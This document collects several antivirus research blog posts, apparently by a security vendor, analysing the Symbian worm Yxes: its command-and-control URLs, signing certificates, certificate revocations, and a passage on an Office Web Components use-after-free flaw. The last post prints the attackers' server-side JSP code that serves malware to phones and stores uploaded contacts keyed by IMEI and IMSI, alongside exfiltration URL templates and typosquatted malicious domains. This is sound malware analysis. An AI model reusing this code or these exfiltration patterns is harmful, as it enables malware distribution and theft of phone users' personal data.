A few days ago we encountered a new variant of the Symbian worm, Yxes, that we named SymbOS/Yxes.H!worm. This worm contacts malicious remote servers, which host Java Server Pages, and propagates by sending ‘attractive’ SMS messages. For instance, this new variant sends an SMS with an URL promising private information concerning a Chinese actress. Globally, the logic (and much of the code) is the same as in previous variants. Yet, there are a few updates, one of the main ones being the use of new remote malicious Java Server Pages.

I guess every analyst has noticed this variant of the malware contacts the following URLs:

http://XXXX/Jump.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...
http://XXXX/Kernel.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...
http://XXXX/KernelPara.jsp?Version=2.0&PhoneType=...&PhoneImei=...&PhoneImsi=...&Source=...

The PhoneType argument contains the model of the infected phone (e.g nokia3250, nokian95…), while the PhoneImei and PhoneImsi arguments respectively contain the phone’s IMEI and IMSI. The Source argument is new to this variant, and its use has not been reversed yet. It could possibly contain the name of the malicious website used to infect the phone.

The first of those JSP pages, Jump.jsp, redirects the user to a Chinese mobile social networking site (3g.kaixin001.com then wap.kaixin001.com). Actually, we had already noticed this behaviour in at least 2 former JSP pages used by previous versions.

The second JSP page, Kernel.jsp, actually replies the following string (host name removed):

http://XXXX/download/root/plugucsrv.sisx

And, from this location, we get a new minor variant of Yxes.D. This is a consistent behavior in Yxes: the worm indeed often works in pairs (e.g variants A, B, D or E download variants C, D or F). In this case, variant H silently downloads and installs a remotely hosted new version of variant D.

Its certificate says:

Serial Number:
 2a:2f:00:01:00:23:37:98:0c:73:b2:c7:69:17
Signature Algorithm: sha1WithRSAEncryption
Issuer: C=GB, O=Symbian Limited, CN=Symbian CA I
Validity
 Not Before: Jan 23 17:55:42 2010 GMT
 Not After : Jan 24 17:55:42 2020 GMT
Subject: C=CN, ST=Fujian, L=XiaMen, O=Xiamen Jindoucheng Tech Co. Ltd.,
OU=plugucsrv  2.1.0, OU=Symbian Signed ContentID,
CN=Xiamen Jindoucheng Tech Co. Ltd.

A notification has been sent to Symbian, who tells us the certificate should soon be revoked. Meanwhile, be cautious if you encounter a file named plugucsrv.sisx that installs as a ‘Setting Wizard’.

That variant D then actually does most of the malicious work: collect data on the phone, report it back to the malicious web servers and send SMS messages. The URLs it contacts are:

http://XXXX/bs.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...&Component=...

http://XXXX/index.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...&Component=...

http://XXXX/number.jsp?Version=2.1&PhoneType=...&PhoneImei=...&PhoneImsi=...
&PhoneNumber=...&Succeed=...&Fail=...&Source=... &Time=...

The PhoneNumber, Succeed, Fail and Time arguments are obviously used to report contacts listed on the phone. The Succeed and Fail arguments are followed by an integer, probably the number of times that phone number has successfully been called or not.

Quite interestingly, if we try to get http://XXXX/bs.jsp, using a credible user agent (the malicious websites are known to check user agents – in particular, if it detects Internet Explorer, it responds “404 Not Found”):

SUCCESS reponse: 200 OK
http://hew1ett-packard.com/bs.jsp?

Notice the letter L of Hewlett has been replaced the number 1 (one).

So, the first malicious web server redirects the requests to another malicious web server, whose name is obviously intentionally crafted to fool the end-user. The URL does not respond any longer. Note that the Yxes worm is already known to use such mispellings:

• www.megac1jck.com
• www.mozi11a.com
• www.makt00b.com
• www.mediafir8.com
• www.megaup10ad.com

The third JSP, KernelPara.jsp, is still a mystery we have to work on. It returns a file named encrypt_Kernel_Para.txt. If its name is meaningful, it is likely to be an encrypted version of a file named Kernel_Para.txt (the worm already uses files with similar names: Local_Para.txt and Remote_Para.txt). In our case, its content is fixed and 32-byte long. It is not an XOR encrypted URL.

Finally, to evaluate the worm’s authors progress, it is interesting to follow the dates and versions of samples. The dates are taken from the first validity date in the X.509 certificate used to sign the sample, and the version numbers are included either in the main executable of the sample or in the certificate.

Apart from a sporadic ‘accident’ end of June 2009 where a version 1.0 goes in the wild (probably an error in versioning), we see the worm authors are continuously working on Yxes since the end of 2008. So my first prediction for 2010 was nearly bound to be true…

– The Crypto Girl

There has been a lot of confusion lately concerning the SymbOS/Yxes worm. Among those, it has now dawned on me the so-called Transmitter.C reported in numerous articles on the net (for instance, here and here), is not sexySpace.sisx (detected as SymbOS/Yxes.E!worm): those are two different malware.

Why ? As a matter of fact, several issues startled me (ordered from weakest to strongest point):

1. Transmitter.C is reported to send a massive amount of SMS messages (they are talking about 500 SMS). If Transmitter.C is Yxes.E, it is surprising because I cannot see any loop in the code indicating numerous copies of SMS are sent out, but of course, that would depend on the amount of contacts and SMS stored in the infected phone. Strange though. In Yxes.E, I do see the piece of code that sends SMS messages (see picture below), but I haven’t spotted any function calling it yet. The malicious code might be bugged. And, as a matter of fact, on the Nokia N95 I tried it on, Yxes.E did not succeed to send any SMS at all.

Figure 1. Assembly routine sending an SMS – disassembled with IDA Pro. The routine connects to the SendAs server. Then it creates a message object, sets the recipient (”to”) and finally the message body.

2. The screenshot of the SMS message mentions the string “A very sexy girl, Try it now!” with a link to a website hosting sexySpace.sisx. But, quite strangely, this string is nowhere to be found in the executable inside sexySpace.sisx (AcsServer.exe) nor in other resources. No, it is definetely not in Yxes.E. Of course, it could be dynamically decrypted from data in the executable, but then, why are similar strings in cleartext in Yxes.D (”A very interesting sexy game!try it soon!”) ?

3. Last but not least, Transmitter.C is said to spread as a trojaned version of a legitimate application named ‘Advanced Device Locks’, but sexySpace.sisx does not install as ‘Advanced Device Locks’ at all: it installs under the name ‘Sexy Space’ and does not include any part of the Advanced Device Locks application. That does not sound like the right sample at all.

To my opinion, Transmitter.C is not sexySpace.sisx, and thus not SymbOS/Yxes.E!worm. In that case, the SMS screenshot should probably be credited to Transmitter.C (and not SymbOS/Yxes.E!worm), which is interesting, because it includes a link to a website hosting sexySpace.sisx. This means Transmitter.C can be seen as a kind of dropper that tries to spread SymbOS/Yxes.E!worm.

– The Crypto Girl.

PS. By the way, if you encounter a sample of Transmitter.C please be forward it to submitvirus (at) fortinet.com.

You may have taken note that Microsoft patched the Office Web Components zero-day vulnerability today. Previously, attacking code exploiting this vulnerability had been found in the wild, which had led us to release FortiGuard Advisory FGA-2009-27, reflecting Microsoft’s Security Advisory 973472 on July 13.

In fact, we worked in a quite nice collaboration with the Microsoft Security Response Center during the responsible disclosure process. As early as in August last year, this vulnerability was discovered by us and reported to the MSRC (marked as FG-VD-2008-021) along with Proof of Concept code; Later, we also spotted public attacking code and notified the vendor on July 11 this year (mentioned in our latest Threatscape Report as well).

It is important to note that the PoC we initially provided Microsoft with is not exactly the same as the one found in the wild; as a matter of course, they point to the same flaw, but vectors that could trigger the problem in the ActiveX control are in fact multiple (Note: our IPS signature can detect all vectors of which we are aware).

Regarding the technical details, after thorough research, we found out that the vulnerability lays in an inconsistency between dynamic libraries owc10.dll (or owc11.dll) and jscript.dll in the way they handle the “object” datatype. Indeed, it turned out that owc10.dll uses an instance of this datatype after Javascript already called its destructor (thereby freeing its memory space). It results in a “Use After Free” problem. Following snapshots provide more details:

On figure 1 above, a trained eye may recognize the assembly instructions operating the call of a C++ class virtual member function. Indeed, when an object is an instance of a virtual class, its memory representation consists in a pointer called the “vpointer”, (usually) followed by the object  member variables. The vpointer holds the address of the class’ vtable, which is a simple list of indexed member function addresses (aka the class methods). Essentially, this is how the dynamic  dispatch of method calls is implemented in machine code, and this is what effectively enables C++ inheritance polymorphism.

Here, register esi holds the object vpointer address (0×39DB88), which, we recall, is also the start of the instanced object’s memory space on the Heap. Therefore, mov eax, dword ptr [esi] loads the vtable address in register eax, and call dword ptr [eax+98] calls the function at index 0×98 in the vtable. What does this function do? The IDA Pro screenshot below enlightens us:

Obviously, the function at index 0×98 is the class destructor. The object memory space at 0×0039DB88 on the heap is therefore freed. Now, the dodgy thing happening in owc10.dll afterward is shown on Figure 3 below:

Again, one may recognize the same sequence of instructions typical of a virtual function call: eax holds the object vpointer address, mov ecx, dword ptr [eax] loads the vtable address in ecx, and call dword ptr [ecx+8] calls function at index 0×08 in the vtable.

In other words, the dll calls a method of the object sitting at eax. However, here, eax is set to… 0×0039DB88, and therefore points to an object that was freed above by jscript.dll. Conclusion: we’re in “Use After Free” case, which is relatively serious, since it could likely be exploited by attackers to run any malicious code they want on the system of a user simply visiting a specifically crafted web page.

We pointed this out in our original vulnerability report. Which turned out to be judicious, since as of writing, a working exploit has been seen spreading in the wild for more than one month.

Our customers are of course protected by the relevant IPS patterns. We nonetheless recommend that all Microsoft Office users apply the official patch as soon as possible.

Guillaume Lovet and Kyle Yang contributed to this report.

In case you are not familiar with the Symbian development process, application development features two major security meatures in Symbian OS 9.1 and greater. First, applications must specify their capabilities, i.e if an application uses Bluetooth connection, it must have the Symbian LocalServices capability. A few other interesting capabilities for malware are:

* NetworkServices: required to make a call, send HTTP requests etc.
* ReadUserData/WriteUserData: required to read/write user’s contacts.
* UserEnvironment: to use the camera.
* Location: particularly interesting for spywares, to locate the phone.
* PowerMgmt: to kill applications.
* ReadDeviceData/WriteDeviceData: typically used to get the IMEI

Second, applications must be signed: unsigned applications can no longer be installed (unless the phone is hacked). There are at least 5 ways to sign applications:

* self-sign your application: this is the quickest way to sign an application. It can easily be done, offline, with Carbide.C++ (Symbian development IDE). But, of course, the application installs with a huge security warning.

* use Symbian’s Open Signed Online: this is meant as an on-line testing facility. Applications are posted on the website, and signed in a few hours.

* get a certificate from the Chinese website OPDA: this technique was mainly useful before Symbian opened its Open Signed Online service. Now, it shows less interest, unless one speaks Chinese. Yet, several tutorials explain how to get a certificate from this website for those who do not understand a word of Chinese. The first signature is free.

* Express Signed: this can be considered as the ‘quick’ (express) but official way to get an application signed. Developers need to register using a valid email, not from a public domain (not yahoo, gmail…). Then, each signature costs US$ 20.

* Certified Signed: this is the official / professional way to get applications signed. Developers register on the same web site as for Express Signed, but must get an Application Code Signing (ACS) Publisher ID (costs US$ 200) to identify. The signing process may be long, as the application undergoes several quality tests.

The table below summarizes the limitations of each method.

Solution	Install Warning	IMEI restriction (applications are bound to a given IMEI)	Capability restriction	The application undergoes a few tests
Self-signed	Yes	No	Basic capabilities only: this includes Local and Network Services, Read/WriteUserData and UserEnvironment. From Symbian OS 9.2, it also includes the Location capabilities	No
Open Signed Online or OPDA	No	Yes	A few capabilities are forbidden, but most malware shouldn’t need them	No
Express Signed	No	No	A few capabilities are forbidden, but most malware shouldn’t need them<	Yes, but a limited. Applications are scanned against known viruses.
Certified Signed		No	No	Nearly all capabilities are available, apart from those granted by manufacturers	Yes.

So, how do we identify which signing process SymbOS/Yxes variants use ?

All variants except B are similar: they install without any security warning, regardless of any IMEI, and their root certificate is issued by “VeriSign Testing-Based ACS Root for Symbian OS”, also referred to as “Symbian B”.

Figure 1. Tool SisWare showing certificates from lower to higher depth. The last certificate is a certificate issued by the root certificate, so its “issued by” field is the common name for root certificate.

For these variants, the first three signing methods can obviously be eliminated: there aren’t any security warning at installation so they are not self-signed, they install on any phone regardless of its IMEI, so they are not Open Signed nor from OPDA. This only leaves Express or Certified Signing. It is difficult to tell between those because they use the same web site accounts, use the same root certificate (see this grid at Symbian) and Yxes does not use a capability restricted to Certified Signed such as NetworkControl or DiskAdmin. Nevertheless, as Certified Signed applications take time to sign (and cost more), my best guess is they were signed using the Express Signed program. Note that I do imply malware authors would not invest US$ 200 to spread their virus, but rather that they would not want to wait to get their application signed.

SymbOS/Yxes.B!worm is different and does not install successfully on any IMEI. A dump of its certificate shows the issuer is “C=GB, ST=London, L=Southwark, O=Symbian Software Limited, CN=Symbian Developer Certificate CA 280205A/emailAddress=developercertificates@symbian.com” and experimented developers also notice an X.509 extension:

openssl x509 -text -inform DER < yxesB.cer
...
       X509v3 extensions:
            1.2.826.0.1.1796587.1.1.1.1: critical
                0...353966012936006

This is the IMEI restriction (where the IMEI is 353966012936006). This means SymbOS/Yxes.B was signed using the Open Signed Online or OPDA website.

Finally, end-users should be relieved to know nearly all certificates corresponding to Yxes are now revoked. The revocation list (CRL) can be downloaded from http://www.trustcenter.de/crl/v2/symbian_ca_I.crl. :

openssl crl -in symbian_ca_I.crl.2 -inform DER -text
...

===> This is SymbOS/Yxes.A!worm
Serial Number: C23A00010023A7D0AF48939BEE09
        Revocation Date: Feb 20 09:44:24 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation

...
===> This is SymbOS/Yxes.C!worm
    Serial Number: 86E100010023AC2B0555D23BAE61
        Revocation Date: Feb 20 09:44:24 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation
...
===> This is SymbOS/Yxes.D!worm
   Serial Number: 59D90001002343FE87A1C26833F0
        Revocation Date: Jan  9 15:12:15 2009 GMT
        CRL entry extensions:
            X509v3 CRL Reason Code:
                Cessation Of Operation
...
==> This is SymbOS/Yxes.E!worm
Serial Number: AE2C0001002329D2E4228834C243
        Revocation Date: Jul 16 13:16:45 2009 GMT

...
==> This is SymbOS/Yxes.F!tr
    Serial Number: 0DC50001002374FC26D186DA0E2A
        Revocation Date: Jul 16 13:16:46 2009 GMT

Only a recent variant of SymbOS/Yxes.D!worm is missing, with serial number d4:44:00:01:00:23:99:77:8c:01:c1:42:ae:d1, but Symbian has been notified.

The Symbian malware Yxes is (nearly) keeping me awake these days.

Among other functionalities, it sends HTTP requests to a remote web server. The URLs it gets are the following:
- Yxes.A: http://[REMOVED]/Kernel?Version=<VERSION>
- Yxes.B or Yxes.E: http://[REMOVED]/Kernel.jsp?Version=<VERSION>&PhoneType=<TYPE>
- Yxes.C: no similar URL
- Yxes.D: this one issues two different requests:
http://[REMOVED]/bs?Version=<VERSION>&PhoneImei=<IMEI>&PhoneImsi=<IMSI>&PhoneType=<TYPE>
http://[REMOVED]/number/?PhoneType=<TYPE>
http://[REMOVED]/index.jsp?PhoneType=<TYPE>
- Yxes.F: http://[REMOVED]/PbkInfo.jsp?PhoneType=<TYPE>&PhoneImei=<IMEI>&PhoneImsi=<IMSI>

TYPE is a string that represents the phone’s model. For example, NokiaN95. If the malware is unable to retrieve the phone’s model, it returns by default nokia3250.
VERSION is the malware’s version. Samples in the wild currently have a version number of 1.6 or 1.7
IMEI is the victim’s International Mobile Equipment Identity. This number identifies the mobile phone (e.g 358777016741038).
IMSI is the victim’s International Mobile Subscriber Identity. This number identifies the *subscriber*. It is stored in the SIM card.

All of these are Java Server Pages (.jsp), a Java technology that dynamically generates HTML pages. By chance, the malicious web servers are not correctly configured: some virtual hosts do not seem to have JSP support enabled. Consequently, the server responds with the source of the JSP instead of the dynamic page! The source code is particularly enlightening. Basically, the behaviour of Kernel.jsp, bs,jsp and index.jsp is close: the malicious web servers (or other remote servers) host several malware (for example different versions of SymbOS/Yxes) and the idea is to select and download to the victim’s phone a malware his/her phone supports. This consists in selecting malware depending on the phone’s model or user agent.

To do so, the JSPs first retrieve the incoming URL’s user agent and parameters:


String sUA = request.getHeader("user-agent") != null?request.getHeader("user-agent"):"NokiaN95";
String sPhoneNumber = request.getParameter("PhoneNumber")==null?"":request.getParameter("PhoneNumber");
String sPhoneType = request.getParameter("PhoneType")==null?"":request.getParameter("PhoneType");
String sVersion = request.getParameter("Version")==null?"":request.getParameter("Version");


Note that samples we analyzed do not set any PhoneNumber argument, so the variable sPhoneNumber is left empty.
If the script handles phone’s IMEI and IMSI, they are usually logged:


String result = service.addBS_ByLog4j(sPhoneNumber, sPhoneType, "O", sIMEI, sIMSI);


Then, based on phone’s model (sPhoneType) or user agent (sUA), the JSPs select file extensions they are interested in.


String sExt = "";
if(!sPhoneType.equals(""))
{
sExt = nokiaDown.getFileType(sPhoneType.replaceAll(" ",""));
log_client.info(sPhoneNumber+" - "+sPhoneType);
}
else
{
sExt = nokiaDown.getFileType(sUA.replaceAll(" ",""));
log_browser.info(sUA);
}


For example, on Symbian OS 9.0 or greater, the JSPs look after the .sisx extension (Symbian’s installation packages). Then, they build a list of potential files which are suitable for download (the path they look into depends on versions – below the JSP looks into a directory named kernel_new, other versions look into software_new, browser_new etc).


String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER");
FileManager fileManager = new FileManager();
ArrayList fileList = null;
String sSoftFolder = "";
fileList = fileManager.getFiles(rootPath+"/download/kernel_new",sExt,null);
sSoftFolder = rootPath+"/download/kernel_new/";


Finally, the JSPs randomly select a file within that file list and initiate its download by calling another script named Download.jsp:


int i = new Random().nextInt(fileList.size());
System.out.println(">>>i="+i);
String sFilePath = sSoftFolder+fileList.get(i);
<jsp:forward page="Download.jsp">
<jsp:param name="FileName" value="<%=URLEncoder.encode(sFilePath,"gb2312") %>"/>
<jsp:param name="PhoneType" value="<%=URLEncoder.encode(sPhoneType,"gb2312") %>"/>
<jsp:param name="Version" value="<%=URLEncoder.encode(sVersion,"gb2312") %>"/>
<jsp:param name="Type" value="Kernel"/>
</jsp:forward>


The Download.jsp script builds the HTTP response: it sets the appropriate HTTP MIME type and then dumps the file as an attachment:


if(name.toLowerCase().endsWith(".sis"))
{
response.setContentType("application/vnd.symbian.install");
} else if(name.toLowerCase().endsWith(".sisx"))
{
response.setContentType("x-epoc/x-sisx-app");
}
...
File file = new File(sFileName);
if(file.exists())
{
response.setHeader("Content-Disposition","attachment;filename=\""+new String(name.getBytes("gb2312"),"iso-8859-1")+"\"");
try
{
String sHeader = "";
OutputStream os = response.getOutputStream();
...
FileInputStream fis = new FileInputStream(file);
byte[] b = new byte[1024];
int i=0;
while((i=fis.read(b))!=-1)
{
os.write(b,0,i);
}
fis.close();
os.flush();
os.close();
}
}


Those scripts ensure a victim is infected with several malware in a row. For instance, a victim who receives an SMS sent by Transmitter.C and visits the URL first downloads a copy of SymbOS/Yxes.E!worm. In turn, SymbOS/Yxes.E!worm downloads and infects the phone with SymbOS/Yxes.D!worm or SymbOS/Yxes.F!tr.

The PbkInfo.jsp script is different. It does not download any file, but *uploads* information to the server. The content of the HTTP request is copied on the server in data/Upload/Pbk with name <DATE>_<IMEI>_<IMSI>.txt where DATE is the current date, and IMEI and IMSI are the phone’s IMEI and IMSI.


String content = "";
InputStream in = request.getInputStream();
byte[] buf = new byte[1024];
int i = 0;
while((i=in.read(buf))!=-1){
content += new String(buf,0,i,"utf-8");
System.out.println("content added");
}
in.close();
...
SimpleDateFormat sdf = new SimpleDateFormat("yyyyMMddHHmmss");
String rootPath = service.getWebPath()+service.getCacheConfig("MAIN_FOLDER");
File file = new File(rootPath+"/data/Upload/Pbk/"+sdf.format(new java.util.Date())+"_"+sIMEI+"_"+sIMSI+".txt");
FileWriter writer = new FileWriter(file);
writer.write(content);
writer.close();


So, for example, if the malware issues an HTTP request such as http://[REMOVED]/PbkInfo.jsp?PhoneType=nokia3250&PhoneImei=123456789&PhoneImsi=00456, with as content a listing of all phone’s contact, then the JSP creates a file named 20090716170010_123456789_00456.txt and dumps the contact into the file. No doubt this is valuable marketing information…

Fortunately, the whole picture does not quite work because web servers are misconfigured, because the JSP scripts haven’t been properly debugged (missing escape sequences etc)… or because the Symbian malware themselves are bugged. For instance, though the intent is clear, I haven’t managed so far to get SymbOS/Yxes send any SMS or successfully connect to the Internet on a Nokia N95 (and, as a matter of fact, I’d be interested in hearing about how anybody succeeded: what mobile phone, conditions etc). Even if it is annoying to investigate bugged programs, I am not sure I should wish malware authors debug their malware. ;-)

– The Crypto Girl.

PS. Thanks to Dong Xie, Jie Zhang and David Maciejak for their help on this topic.